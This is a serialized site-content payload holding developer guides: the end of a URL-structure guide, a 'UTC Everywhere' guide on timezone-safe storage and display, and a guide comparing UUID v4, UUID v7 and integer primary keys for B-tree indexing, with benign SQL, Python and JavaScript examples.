characters",[44,219744,219745],{},"Fragments never reach the server — they are client-side only",[44,219747,219748],{},"Use relative URLs for internal links to survive domain changes",[44,219750,219751],{},"IDN domains use Punycode under the hood — register the ASCII form with DNS",[44,219753,219754],{},"Trailing slashes and encoded slashes can cause subtle routing bugs",[11,219756,321],{"id":320},[41,219758,219759,219763,219767],{},[44,219760,219761],{},[98,219762,102131],{"href":102130},[44,219764,219765],{},[98,219766,102137],{"href":102136},[44,219768,219769],{},[98,219770,12185],{"href":12184},[11,219772,286],{"id":285},[16,219774,219775,219776,219778],{},"Parse any URL into its components with our free ",[98,219777,99078],{"href":99077}," tool. Paste a full URL and instantly see the scheme, host, port, path, query parameters, and fragment broken down for you.",{"title":141,"searchDepth":337,"depth":337,"links":219780},[219781,219782,219783,219784,219789,219792,219793,219794,219795,219796,219801,219802,219803],{"id":219156,"depth":337,"text":219157},{"id":219175,"depth":337,"text":219176},{"id":219319,"depth":337,"text":219320},{"id":219358,"depth":337,"text":219359,"children":219785},[219786,219787,219788],{"id":8106,"depth":343,"text":219238},{"id":154809,"depth":343,"text":219252},{"id":219427,"depth":343,"text":219222},{"id":11226,"depth":337,"text":26452,"children":219790},[219791],{"id":219463,"depth":343,"text":219464},{"id":219527,"depth":337,"text":219528},{"id":219550,"depth":337,"text":219304},{"id":219579,"depth":337,"text":219580},{"id":219637,"depth":337,"text":219638},{"id":219660,"depth":337,"text":219661,"children":219797},[219798,219799,219800],{"id":219664,"depth":343,"text":219665},{"id":219696,"depth":343,"text":219697},{"id":219717,"depth":343,"text":219718},{"id":1354,"depth":337,"text":1355},{"id":320,"depth":337,"text":321},{"id":285,"depth":337,"text":286},"Break down the anatomy of a URL — protocol, hostname, port, path, query string, and fragment — with clear examples.",{"immutable":363},{"title":219151,"description":219804},"guides\u002Furl-structure-explained","FunGz3zV3zeHJZqRcDANV-1STo0CwLCrIYvebmHvxy4",{"id":219810,"title":219811,"body":219812,"date":2070,"description":220404,"extension":361,"meta":220405,"navigation":363,"path":220406,"readingTime":1710,"seo":220407,"stem":220408,"__hash__":220409},"guides\u002Fguides\u002Futc-everywhere-pattern.md","The UTC Everywhere Pattern",{"type":8,"value":219813,"toc":220395},[219814,219817,219821,219826,219829,219907,219911,219916,219972,219985,219989,219992,220092,220095,220138,220142,220149,220236,220239,220243,220246,220253,220260,220348,220351,220353,220381,220383,220392],[16,219815,219816],{},"Timezone bugs are among the most insidious in software. They do not crash your application — they silently corrupt data. A meeting scheduled for 3:00 PM shows up at 2:00 PM. A daily report runs twice or not at all. A subscription expires a day early or a day late. The root cause in nearly every case is the same: the system stored or computed time in a local timezone instead of UTC. The \"UTC Everywhere\" pattern eliminates an entire class of these bugs with one architectural rule.",[11,219818,219820],{"id":219819},"the-core-principle","The Core Principle",[16,219822,219823],{},[47,219824,219825],{},"Store UTC. Compute in UTC. Transmit UTC. Convert to local time only at the moment of display.",[16,219827,219828],{},"This principle applies across every layer of your stack:",[193,219830,219831,219843],{},[196,219832,219833],{},[199,219834,219835,219837,219840],{},[202,219836,45022],{},[202,219838,219839],{},"What to Do",[202,219841,219842],{},"What to Avoid",[211,219844,219845,219860,219874,219885,219896],{},[199,219846,219847,219849,219855],{},[216,219848,117455],{},[216,219850,219851,219852,219854],{},"Store timestamps as ",[143,219853,207968],{}," (UTC internally)",[216,219856,219857,219859],{},[143,219858,170325],{}," without timezone",[199,219861,219862,219865,219871],{},[216,219863,219864],{},"Backend",[216,219866,219867,219868,219870],{},"Accept and return ISO 8601 with ",[143,219869,22039],{}," suffix",[216,219872,219873],{},"Parsing timestamps without offsets",[199,219875,219876,219878,219882],{},[216,219877,203854],{},[216,219879,1388,219880],{},[143,219881,132289],{},[216,219883,219884],{},"Passing local-time strings",[199,219886,219887,219890,219893],{},[216,219888,219889],{},"Frontend",[216,219891,219892],{},"Convert UTC to local only for rendering",[216,219894,219895],{},"Storing local timestamps in state",[199,219897,219898,219901,219904],{},[216,219899,219900],{},"Logs",[216,219902,219903],{},"Write timestamps in UTC",[216,219905,219906],{},"Logging in server-local time",[11,219908,219910],{"id":219909},"database-layer","Database Layer",[16,219912,207965,219913,219915],{},[143,219914,207968],{}," type stores all timestamps internally as UTC. When you read the value, it returns the timestamp converted to the session's timezone. When you write a value with an offset, it converts to UTC before storing.",[135,219917,219919],{"className":23599,"code":219918,"language":23601,"meta":141,"style":141},"-- Correct: TIMESTAMPTZ forces UTC storage\nCREATE TABLE events (\n    id SERIAL PRIMARY KEY,\n    created_at TIMESTAMPTZ NOT NULL DEFAULT NOW(),\n    scheduled_at TIMESTAMPTZ NOT NULL\n);\n\n-- Wrong: TIMESTAMP stores the literal value, no timezone awareness\nCREATE TABLE events_bad (\n    created_at TIMESTAMP  -- Stores \"2026-05-28 14:30:00\" as-is\n);\n",[143,219920,219921,219926,219930,219935,219940,219945,219949,219953,219958,219963,219968],{"__ignoreMap":141},[1560,219922,219923],{"class":1562,"line":1563},[1560,219924,219925],{},"-- Correct: TIMESTAMPTZ forces UTC storage\n",[1560,219927,219928],{"class":1562,"line":337},[1560,219929,207914],{},[1560,219931,219932],{"class":1562,"line":343},[1560,219933,219934],{},"    id SERIAL PRIMARY KEY,\n",[1560,219936,219937],{"class":1562,"line":365},[1560,219938,219939],{},"    created_at TIMESTAMPTZ NOT NULL DEFAULT NOW(),\n",[1560,219941,219942],{"class":1562,"line":889},[1560,219943,219944],{},"    scheduled_at TIMESTAMPTZ NOT NULL\n",[1560,219946,219947],{"class":1562,"line":1710},[1560,219948,1744],{},[1560,219950,219951],{"class":1562,"line":1717},[1560,219952,1702],{"emptyLinePlaceholder":363},[1560,219954,219955],{"class":1562,"line":1747},[1560,219956,219957],{},"-- Wrong: TIMESTAMP stores the literal value, no timezone awareness\n",[1560,219959,219960],{"class":1562,"line":2507},[1560,219961,219962],{},"CREATE TABLE events_bad (\n",[1560,219964,219965],{"class":1562,"line":2524},[1560,219966,219967],{},"    created_at TIMESTAMP  -- Stores \"2026-05-28 14:30:00\" as-is\n",[1560,219969,219970],{"class":1562,"line":2529},[1560,219971,1744],{},[16,219973,219974,219975,219978,219979,219981,219982,219984],{},"MySQL's ",[143,219976,219977],{},"DATETIME"," type does ",[47,219980,28839],{}," store timezone information — it is a literal date-time string. Use ",[143,219983,170325],{}," instead (stored as UTC, converted to session timezone on read), or better yet, store an integer Unix epoch.",[11,219986,219988],{"id":219987},"api-layer","API Layer",[16,219990,219991],{},"Your API contract should require UTC timestamps in all request and response payloads:",[135,219993,219995],{"className":23484,"code":219994,"language":23486,"meta":141,"style":141},"\u002F\u002F Request: schedule a meeting\n{\n  \"title\": \"Sprint Review\",\n  \"start_time\": \"2026-05-28T14:30:00Z\",\n  \"duration_minutes\": 60\n}\n\n\u002F\u002F Response\n{\n  \"id\": \"evt_abc123\",\n  \"start_time\": \"2026-05-28T14:30:00Z\",\n  \"end_time\": \"2026-05-28T15:30:00Z\"\n}\n",[143,219996,219997,220002,220006,220018,220030,220039,220043,220047,220052,220056,220068,220078,220088],{"__ignoreMap":141},[1560,219998,219999],{"class":1562,"line":1563},[1560,220000,220001],{"class":1649},"\u002F\u002F Request: schedule a meeting\n",[1560,220003,220004],{"class":1562,"line":337},[1560,220005,23493],{"class":1570},[1560,220007,220008,220011,220013,220016],{"class":1562,"line":343},[1560,220009,220010],{"class":1576},"  \"title\"",[1560,220012,1663],{"class":1570},[1560,220014,220015],{"class":5634},"\"Sprint Review\"",[1560,220017,11943],{"class":1570},[1560,220019,220020,220023,220025,220028],{"class":1562,"line":365},[1560,220021,220022],{"class":1576},"  \"start_time\"",[1560,220024,1663],{"class":1570},[1560,220026,220027],{"class":5634},"\"2026-05-28T14:30:00Z\"",[1560,220029,11943],{"class":1570},[1560,220031,220032,220035,220037],{"class":1562,"line":889},[1560,220033,220034],{"class":1576},"  \"duration_minutes\"",[1560,220036,1663],{"class":1570},[1560,220038,137834],{"class":1576},[1560,220040,220041],{"class":1562,"line":1710},[1560,220042,1585],{"class":1570},[1560,220044,220045],{"class":1562,"line":1717},[1560,220046,1702],{"emptyLinePlaceholder":363},[1560,220048,220049],{"class":1562,"line":1747},[1560,220050,220051],{"class":1649},"\u002F\u002F Response\n",[1560,220053,220054],{"class":1562,"line":2507},[1560,220055,23493],{"class":1570},[1560,220057,220058,220061,220063,220066],{"class":1562,"line":2524},[1560,220059,220060],{"class":1576},"  \"id\"",[1560,220062,1663],{"class":1570},[1560,220064,220065],{"class":5634},"\"evt_abc123\"",[1560,220067,11943],{"class":1570},[1560,220069,220070,220072,220074,220076],{"class":1562,"line":2529},[1560,220071,220022],{"class":1576},[1560,220073,1663],{"class":1570},[1560,220075,220027],{"class":5634},[1560,220077,11943],{"class":1570},[1560,220079,220080,220083,220085],{"class":1562,"line":2534},[1560,220081,220082],{"class":1576},"  \"end_time\"",[1560,220084,1663],{"class":1570},[1560,220086,220087],{"class":5634},"\"2026-05-28T15:30:00Z\"\n",[1560,220089,220090],{"class":1562,"line":2542},[1560,220091,1585],{"class":1570},[16,220093,220094],{},"If clients send local times, your server must convert immediately:",[135,220096,220098],{"className":8259,"code":220097,"language":8261,"meta":141,"style":141},"from datetime import datetime, timezone\n\ndef parse_client_time(iso_string: str, client_tz: str) -> datetime:\n    \"\"\"Parse a local-time ISO string assuming the given timezone, return UTC.\"\"\"\n    from zoneinfo import ZoneInfo\n    tz = ZoneInfo(client_tz)\n    local_dt = datetime.fromisoformat(iso_string).replace(tzinfo=tz)\n    return local_dt.astimezone(timezone.utc)\n",[143,220099,220100,220104,220108,220113,220118,220123,220128,220133],{"__ignoreMap":141},[1560,220101,220102],{"class":1562,"line":1563},[1560,220103,88316],{},[1560,220105,220106],{"class":1562,"line":337},[1560,220107,1702],{"emptyLinePlaceholder":363},[1560,220109,220110],{"class":1562,"line":343},[1560,220111,220112],{},"def parse_client_time(iso_string: str, client_tz: str) -> datetime:\n",[1560,220114,220115],{"class":1562,"line":365},[1560,220116,220117],{},"    \"\"\"Parse a local-time ISO string assuming the given timezone, return UTC.\"\"\"\n",[1560,220119,220120],{"class":1562,"line":889},[1560,220121,220122],{},"    from zoneinfo import ZoneInfo\n",[1560,220124,220125],{"class":1562,"line":1710},[1560,220126,220127],{},"    tz = ZoneInfo(client_tz)\n",[1560,220129,220130],{"class":1562,"line":1717},[1560,220131,220132],{},"    local_dt = datetime.fromisoformat(iso_string).replace(tzinfo=tz)\n",[1560,220134,220135],{"class":1562,"line":1747},[1560,220136,220137],{},"    return local_dt.astimezone(timezone.utc)\n",[11,220139,220141],{"id":220140},"frontend-layer","Frontend Layer",[16,220143,220144,220145,220148],{},"The browser's ",[143,220146,220147],{},"Intl.DateTimeFormat"," API converts UTC to the user's local timezone reliably:",[135,220150,220152],{"className":1607,"code":220151,"language":1609,"meta":141,"style":141},"function formatLocalTime(utcISOString) {\n  const date = new Date(utcISOString);\n  return new Intl.DateTimeFormat('en-US', {\n    dateStyle: 'medium',\n    timeStyle: 'short',\n  }).format(date);\n}\n\n\u002F\u002F \"2026-05-28T14:30:00Z\" → \"May 28, 2026, 10:30 AM\" (in US Eastern)\n",[143,220153,220154,220168,220183,220199,220207,220215,220223,220227,220231],{"__ignoreMap":141},[1560,220155,220156,220158,220161,220163,220166],{"class":1562,"line":1563},[1560,220157,8648],{"class":1669},[1560,220159,220160],{"class":1566}," formatLocalTime",[1560,220162,1688],{"class":1570},[1560,220164,220165],{"class":2219},"utcISOString",[1560,220167,9345],{"class":1570},[1560,220169,220170,220172,220174,220176,220178,220180],{"class":1562,"line":337},[1560,220171,28057],{"class":1669},[1560,220173,87637],{"class":1576},[1560,220175,8186],{"class":1669},[1560,220177,11489],{"class":1669},[1560,220179,87644],{"class":1566},[1560,220181,220182],{"class":1570},"(utcISOString);\n",[1560,220184,220185,220187,220189,220191,220193,220195,220197],{"class":1562,"line":343},[1560,220186,9350],{"class":1669},[1560,220188,11489],{"class":1669},[1560,220190,89286],{"class":1570},[1560,220192,89289],{"class":1566},[1560,220194,1688],{"class":1570},[1560,220196,89294],{"class":5634},[1560,220198,49495],{"class":1570},[1560,220200,220201,220203,220205],{"class":1562,"line":365},[1560,220202,208405],{"class":1570},[1560,220204,208408],{"class":5634},[1560,220206,11943],{"class":1570},[1560,220208,220209,220211,220213],{"class":1562,"line":889},[1560,220210,208415],{"class":1570},[1560,220212,184031],{"class":5634},[1560,220214,11943],{"class":1570},[1560,220216,220217,220219,220221],{"class":1562,"line":1710},[1560,220218,9456],{"class":1570},[1560,220220,88484],{"class":1566},[1560,220222,88172],{"class":1570},[1560,220224,220225],{"class":1562,"line":1717},[1560,220226,1585],{"class":1570},[1560,220228,220229],{"class":1562,"line":1747},[1560,220230,1702],{"emptyLinePlaceholder":363},[1560,220232,220233],{"class":1562,"line":2507},[1560,220234,220235],{"class":1649},"\u002F\u002F \"2026-05-28T14:30:00Z\" → \"May 28, 2026, 10:30 AM\" (in US Eastern)\n",[16,220237,220238],{},"Keep your frontend state in UTC. Convert only inside the render function or a computed property. This ensures that any time comparisons, sorting, or arithmetic on the client use a consistent timeline.",[11,220240,220242],{"id":220241},"handling-user-intent","Handling User Intent",[16,220244,220245],{},"The UTC everywhere pattern handles \"when did this happen?\" perfectly. But \"when should this happen?\" requires extra care when the user's intent is tied to a local time.",[16,220247,220248,220249,220252],{},"Consider a daily report scheduled for \"9:00 AM in New York.\" If you store ",[143,220250,220251],{},"14:00:00Z"," (9 AM EDT), the report will drift to 8:00 AM EST when DST ends in November — because UTC does not change, but the offset does.",[16,220254,220255,220256,220259],{},"The correct approach: store the ",[47,220257,220258],{},"local time and timezone",", not the pre-computed UTC:",[135,220261,220263],{"className":8259,"code":220262,"language":8261,"meta":141,"style":141},"# Model\nclass ScheduledReport:\n    local_time: time          # 09:00\n    timezone: str             # \"America\u002FNew_York\"\n    days: list[str]           # [\"mon\", \"tue\", \"wed\", \"thu\", \"fri\"]\n\n# Compute next run in UTC at execution time\ndef next_run_utc(report: ScheduledReport) -> datetime:\n    from zoneinfo import ZoneInfo\n    tz = ZoneInfo(report.timezone)\n    now = datetime.now(tz)\n    target = now.replace(hour=report.local_time.hour,\n                         minute=report.local_time.minute,\n                         second=0, microsecond=0)\n    if target \u003C= now:\n        target += timedelta(days=1)\n    return target.astimezone(timezone.utc)\n",[143,220264,220265,220270,220275,220280,220285,220290,220294,220299,220304,220308,220313,220318,220323,220328,220333,220338,220343],{"__ignoreMap":141},[1560,220266,220267],{"class":1562,"line":1563},[1560,220268,220269],{},"# Model\n",[1560,220271,220272],{"class":1562,"line":337},[1560,220273,220274],{},"class ScheduledReport:\n",[1560,220276,220277],{"class":1562,"line":343},[1560,220278,220279],{},"    local_time: time          # 09:00\n",[1560,220281,220282],{"class":1562,"line":365},[1560,220283,220284],{},"    timezone: str             # \"America\u002FNew_York\"\n",[1560,220286,220287],{"class":1562,"line":889},[1560,220288,220289],{},"    days: list[str]           # [\"mon\", \"tue\", \"wed\", \"thu\", \"fri\"]\n",[1560,220291,220292],{"class":1562,"line":1710},[1560,220293,1702],{"emptyLinePlaceholder":363},[1560,220295,220296],{"class":1562,"line":1717},[1560,220297,220298],{},"# Compute next run in UTC at execution time\n",[1560,220300,220301],{"class":1562,"line":1747},[1560,220302,220303],{},"def next_run_utc(report: ScheduledReport) -> datetime:\n",[1560,220305,220306],{"class":1562,"line":2507},[1560,220307,220122],{},[1560,220309,220310],{"class":1562,"line":2524},[1560,220311,220312],{},"    tz = ZoneInfo(report.timezone)\n",[1560,220314,220315],{"class":1562,"line":2529},[1560,220316,220317],{},"    now = datetime.now(tz)\n",[1560,220319,220320],{"class":1562,"line":2534},[1560,220321,220322],{},"    target = now.replace(hour=report.local_time.hour,\n",[1560,220324,220325],{"class":1562,"line":2542},[1560,220326,220327],{},"                         minute=report.local_time.minute,\n",[1560,220329,220330],{"class":1562,"line":2558},[1560,220331,220332],{},"                         second=0, microsecond=0)\n",[1560,220334,220335],{"class":1562,"line":2570},[1560,220336,220337],{},"    if target \u003C= now:\n",[1560,220339,220340],{"class":1562,"line":6638},[1560,220341,220342],{},"        target += timedelta(days=1)\n",[1560,220344,220345],{"class":1562,"line":11615},[1560,220346,220347],{},"    return target.astimezone(timezone.utc)\n",[16,220349,220350],{},"This pattern — store intent in local time, compute execution in UTC — correctly handles DST transitions.",[11,220352,1355],{"id":1354},[41,220354,220355,220358,220366,220372,220378],{},[44,220356,220357],{},"Store, compute, and transmit timestamps in UTC across every layer of your application.",[44,220359,1388,220360,220362,220363,220365],{},[143,220361,207968],{}," in PostgreSQL and ",[143,220364,170325],{}," in MySQL; avoid timezone-less types.",[44,220367,220368,220369,220371],{},"API contracts should require ",[143,220370,22039],{}," or explicit offset in all JSON date-time strings.",[44,220373,220374,220375,220377],{},"Convert to local time only at the display layer using ",[143,220376,220147],{}," or equivalent.",[44,220379,220380],{},"For scheduled events tied to local time, store the local time and timezone, then compute UTC at execution time to handle DST correctly.",[11,220382,286],{"id":285},[16,220384,220385,220386,220388,220389,220391],{},"Converting between UTC and local timezones? The ",[98,220387,960],{"href":89808}," lets you compare times across any two timezones, and the ",[98,220390,623],{"href":622}," handles Unix-to-ISO conversions with full UTC support.",[2043,220393,220394],{},"html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html.dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html pre.shiki code .sJ8bj, html code.shiki .sJ8bj{--shiki-default:#6A737D;--shiki-dark:#6A737D}html pre.shiki code .sVt8B, html code.shiki .sVt8B{--shiki-default:#24292E;--shiki-dark:#E1E4E8}html pre.shiki code .sj4cs, html code.shiki .sj4cs{--shiki-default:#005CC5;--shiki-dark:#79B8FF}html pre.shiki code .sZZnC, html code.shiki .sZZnC{--shiki-default:#032F62;--shiki-dark:#9ECBFF}html pre.shiki code .szBVR, html code.shiki .szBVR{--shiki-default:#D73A49;--shiki-dark:#F97583}html pre.shiki code .sScJk, html code.shiki .sScJk{--shiki-default:#6F42C1;--shiki-dark:#B392F0}html pre.shiki code .s4XuR, html code.shiki .s4XuR{--shiki-default:#E36209;--shiki-dark:#FFAB70}",{"title":141,"searchDepth":337,"depth":337,"links":220396},[220397,220398,220399,220400,220401,220402,220403],{"id":219819,"depth":337,"text":219820},{"id":219909,"depth":337,"text":219910},{"id":219987,"depth":337,"text":219988},{"id":220140,"depth":337,"text":220141},{"id":220241,"depth":337,"text":220242},{"id":1354,"depth":337,"text":1355},{"id":285,"depth":337,"text":286},"Store UTC, display local — the golden rule for timezone-safe application architecture.",{"immutable":363},"\u002Fguides\u002Futc-everywhere-pattern",{"title":219811,"description":220404},"guides\u002Futc-everywhere-pattern","6V9lRyWJsrfsViOd--X6bTpMGnBFZK2s6KiwQOIranI",{"id":220411,"title":220412,"body":220413,"date":2070,"description":220813,"extension":361,"meta":220814,"navigation":363,"path":220815,"readingTime":1710,"seo":220816,"stem":220817,"__hash__":220818},"guides\u002Fguides\u002Fuuid-database-indexing.md","UUIDs and Database Indexing",{"type":8,"value":220414,"toc":220796},[220415,220418,220422,220425,220428,220434,220437,220457,220461,220464,220466,220469,220528,220531,220535,220538,220542,220545,220551,220554,220560,220563,220565,220627,220630,220634,220638,220647,220684,220688,220731,220751,220755,220758,220769,220771,220785,220787,220793],[16,220416,220417],{},"Universally unique identifiers (UUIDs) are a popular choice for primary keys in distributed systems. They eliminate the need for central coordination, and every node can generate IDs independently without collision risk. But when you use random UUID version 4 as a database primary key, you pay a hidden cost: index fragmentation. Understanding why this happens — and how UUID version 7 addresses it — helps you make better schema decisions.",[11,220419,220421],{"id":220420},"how-b-tree-indexes-work","How B-Tree Indexes Work",[16,220423,220424],{},"Most relational databases (PostgreSQL, MySQL, SQL Server) use B-tree structures for primary key indexes. B-trees maintain sorted order: each new value is inserted at the correct leaf position.",[16,220426,220427],{},"When primary keys are sequential (like auto-incrementing integers), new values always go to the rightmost leaf. The tree grows in one direction, and pages fill efficiently:",[135,220429,220432],{"className":220430,"code":220431,"language":140},[138],"Page 1: [1, 2, 3]  →  Page 2: [4, 5, 6]  →  Page 3: [7, 8, 9]  →  New\n",[143,220433,220431],{"__ignoreMap":141},[16,220435,220436],{},"When primary keys are random (like UUID v4), new values land anywhere in the tree. This causes:",[41,220438,220439,220445,220451],{},[44,220440,220441,220444],{},[47,220442,220443],{},"Page splits",": When a target page is full, the database splits it into two half-empty pages, doubling the storage needed for that part of the tree.",[44,220446,220447,220450],{},[47,220448,220449],{},"Random I\u002FO",": Inserts touch disk pages scattered across the index, defeating sequential write patterns and filling the buffer cache with rarely-used pages.",[44,220452,220453,220456],{},[47,220454,220455],{},"Fragmentation",": Over time, the index becomes physically disordered, slowing range scans and increasing disk usage.",[11,220458,220460],{"id":220459},"uuid-v4-the-fragmentation-problem","UUID v4: The Fragmentation Problem",[16,220462,220463],{},"UUID v4 generates 122 random bits. The probability of two values being adjacent is negligible, so every insert is effectively random from the B-tree's perspective.",[33,220465,41466],{"id":41465},[16,220467,220468],{},"On a PostgreSQL table with 10 million rows:",[193,220470,220471,220482],{},[196,220472,220473],{},[199,220474,220475,220477,220480],{},[202,220476,15609],{},[202,220478,220479],{},"Auto-increment INT",[202,220481,43592],{},[211,220483,220484,220495,220506,220517],{},[199,220485,220486,220489,220492],{},[216,220487,220488],{},"Index size",[216,220490,220491],{},"~214 MB",[216,220493,220494],{},"~625 MB",[199,220496,220497,220500,220503],{},[216,220498,220499],{},"Insert throughput",[216,220501,220502],{},"~45,000 rows\u002Fs",[216,220504,220505],{},"~18,000 rows\u002Fs",[199,220507,220508,220511,220514],{},[216,220509,220510],{},"Table bloat ratio",[216,220512,220513],{},"1.0x",[216,220515,220516],{},"~2.5x",[199,220518,220519,220522,220525],{},[216,220520,220521],{},"Cache hit ratio",[216,220523,220524],{},"~99%",[216,220526,220527],{},"~85%",[16,220529,220530],{},"The index for UUID v4 is roughly 3x larger because each UUID is 16 bytes (vs. 4 bytes for INT) and because page splits leave half-empty pages throughout the tree.",[33,220532,220534],{"id":220533},"write-amplification","Write Amplification",[16,220536,220537],{},"Every page split writes two pages instead of one. For a write-heavy workload, this doubles WAL (Write-Ahead Log) volume and increases checkpoint I\u002FO. On SSDs, it accelerates write wear. On HDDs, random I\u002FO creates seek storms that tank throughput.",[11,220539,220541],{"id":220540},"uuid-v7-time-ordered-and-index-friendly","UUID v7: Time-Ordered and Index-Friendly",[16,220543,220544],{},"UUID version 7, defined in RFC 9562, addresses the fragmentation problem by making the first 48 bits a Unix timestamp in milliseconds. The remaining bits are random, ensuring uniqueness.",[135,220546,220549],{"className":220547,"code":220548,"language":140},[138],"UUID v7 layout:\n| 48 bits timestamp | 4 bits version | 12 bits rand_a | 2 bits variant | 62 bits rand_b |\n",[143,220550,220548],{"__ignoreMap":141},[16,220552,220553],{},"Example UUID v7 values generated 1ms apart:",[135,220555,220558],{"className":220556,"code":220557,"language":140},[138],"0192d6c4-a800-7000-8000-000000000000  (timestamp: 1716900000000)\n0192d6c4-a801-7000-8000-000000000001  (timestamp: 1716900000001)\n0192d6c4-a802-7000-8000-000000000002  (timestamp: 1716900000002)\n",[143,220559,220557],{"__ignoreMap":141},[16,220561,220562],{},"Because the leading bits are time-ordered, UUID v7 values are monotonically increasing (with rare sub-millisecond exceptions). New rows always insert near the end of the B-tree, just like auto-increment keys.",[33,220564,26165],{"id":26164},[193,220566,220567,220580],{},[196,220568,220569],{},[199,220570,220571,220573,220575,220577],{},[202,220572,15609],{},[202,220574,220479],{},[202,220576,43592],{},[202,220578,220579],{},"UUID v7",[211,220581,220582,220593,220604,220615],{},[199,220583,220584,220586,220588,220590],{},[216,220585,220488],{},[216,220587,220491],{},[216,220589,220494],{},[216,220591,220592],{},"~430 MB",[199,220594,220595,220597,220599,220601],{},[216,220596,220499],{},[216,220598,220502],{},[216,220600,220505],{},[216,220602,220603],{},"~38,000 rows\u002Fs",[199,220605,220606,220609,220611,220613],{},[216,220607,220608],{},"Page split rate",[216,220610,134887],{},[216,220612,15446],{},[216,220614,134887],{},[199,220616,220617,220620,220623,220625],{},[216,220618,220619],{},"Sortability",[216,220621,220622],{},"Sequential",[216,220624,142806],{},[216,220626,220622],{},[16,220628,220629],{},"UUID v7 eliminates fragmentation while keeping the benefits of UUIDs: global uniqueness, no coordination, and 128-bit collision resistance.",[11,220631,220633],{"id":220632},"practical-recommendations","Practical Recommendations",[33,220635,220637],{"id":220636},"for-postgresql","For PostgreSQL",[16,220639,1388,220640,1531,220643,220646],{},[143,220641,220642],{},"uuid-ossp",[143,220644,220645],{},"pg_uuidv7"," extension:",[135,220648,220650],{"className":23599,"code":220649,"language":23601,"meta":141,"style":141},"CREATE EXTENSION IF NOT EXISTS pg_uuidv7;\n\nCREATE TABLE users (\n    id UUID DEFAULT uuid_generate_v7() PRIMARY KEY,\n    name TEXT NOT NULL,\n    created_at TIMESTAMPTZ NOT NULL DEFAULT NOW()\n);\n",[143,220651,220652,220657,220661,220665,220670,220675,220680],{"__ignoreMap":141},[1560,220653,220654],{"class":1562,"line":1563},[1560,220655,220656],{},"CREATE EXTENSION IF NOT EXISTS pg_uuidv7;\n",[1560,220658,220659],{"class":1562,"line":337},[1560,220660,1702],{"emptyLinePlaceholder":363},[1560,220662,220663],{"class":1562,"line":343},[1560,220664,23608],{},[1560,220666,220667],{"class":1562,"line":365},[1560,220668,220669],{},"    id UUID DEFAULT uuid_generate_v7() PRIMARY KEY,\n",[1560,220671,220672],{"class":1562,"line":889},[1560,220673,220674],{},"    name TEXT NOT NULL,\n",[1560,220676,220677],{"class":1562,"line":1710},[1560,220678,220679],{},"    created_at TIMESTAMPTZ NOT NULL DEFAULT NOW()\n",[1560,220681,220682],{"class":1562,"line":1717},[1560,220683,1744],{},[33,220685,220687],{"id":220686},"for-application-level-generation","For Application-Level Generation",[135,220689,220691],{"className":1607,"code":220690,"language":1609,"meta":141,"style":141},"\u002F\u002F Using the uuid package (v10+)\nimport { v7 as uuidv7 } from 'uuid';\nconst id = uuidv7();\n",[143,220692,220693,220698,220718],{"__ignoreMap":141},[1560,220694,220695],{"class":1562,"line":1563},[1560,220696,220697],{"class":1649},"\u002F\u002F Using the uuid package (v10+)\n",[1560,220699,220700,220702,220705,220708,220711,220713,220716],{"class":1562,"line":337},[1560,220701,8162],{"class":1669},[1560,220703,220704],{"class":1570}," { v7 ",[1560,220706,220707],{"class":1669},"as",[1560,220709,220710],{"class":1570}," uuidv7 } ",[1560,220712,8168],{"class":1669},[1560,220714,220715],{"class":5634}," 'uuid'",[1560,220717,2228],{"class":1570},[1560,220719,220720,220722,220724,220726,220729],{"class":1562,"line":343},[1560,220721,8180],{"class":1669},[1560,220723,43519],{"class":1576},[1560,220725,8186],{"class":1669},[1560,220727,220728],{"class":1566}," uuidv7",[1560,220730,90158],{"class":1570},[135,220732,220734],{"className":8259,"code":220733,"language":8261,"meta":141,"style":141},"# Using uuid7 package\nfrom uuid_extensions import uuid7\nid = uuid7()\n",[143,220735,220736,220741,220746],{"__ignoreMap":141},[1560,220737,220738],{"class":1562,"line":1563},[1560,220739,220740],{},"# Using uuid7 package\n",[1560,220742,220743],{"class":1562,"line":337},[1560,220744,220745],{},"from uuid_extensions import uuid7\n",[1560,220747,220748],{"class":1562,"line":343},[1560,220749,220750],{},"id = uuid7()\n",[33,220752,220754],{"id":220753},"when-to-stick-with-int","When to Stick with INT",[16,220756,220757],{},"Auto-incrementing integers are still the best choice when:",[41,220759,220760,220763,220766],{},[44,220761,220762],{},"Your system is single-database (no distributed writes)",[44,220764,220765],{},"Storage efficiency matters (4 bytes vs. 16 bytes per key)",[44,220767,220768],{},"You need maximum foreign key join performance (integer comparison is faster than UUID comparison)",[11,220770,1355],{"id":1354},[41,220772,220773,220776,220779,220782],{},[44,220774,220775],{},"UUID v4's randomness causes B-tree page splits, leading to 2–3x index bloat and reduced insert throughput.",[44,220777,220778],{},"UUID v7 prefixes a millisecond timestamp, making values monotonically increasing and eliminating fragmentation.",[44,220780,220781],{},"UUID v7 gives you the best of both worlds: globally unique, coordination-free IDs with sequential insert performance.",[44,220783,220784],{},"Auto-incrementing integers remain optimal for single-database systems where storage size and join speed matter most.",[11,220786,286],{"id":285},[16,220788,220789,220790,220792],{},"Generating UUIDs for your database? Use the ",[98,220791,170971],{"href":170970}," to create v4 or v7 UUIDs and compare their structure — notice how v7 values sort chronologically while v4 values are randomly ordered.",[2043,220794,220795],{},"html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html.dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: 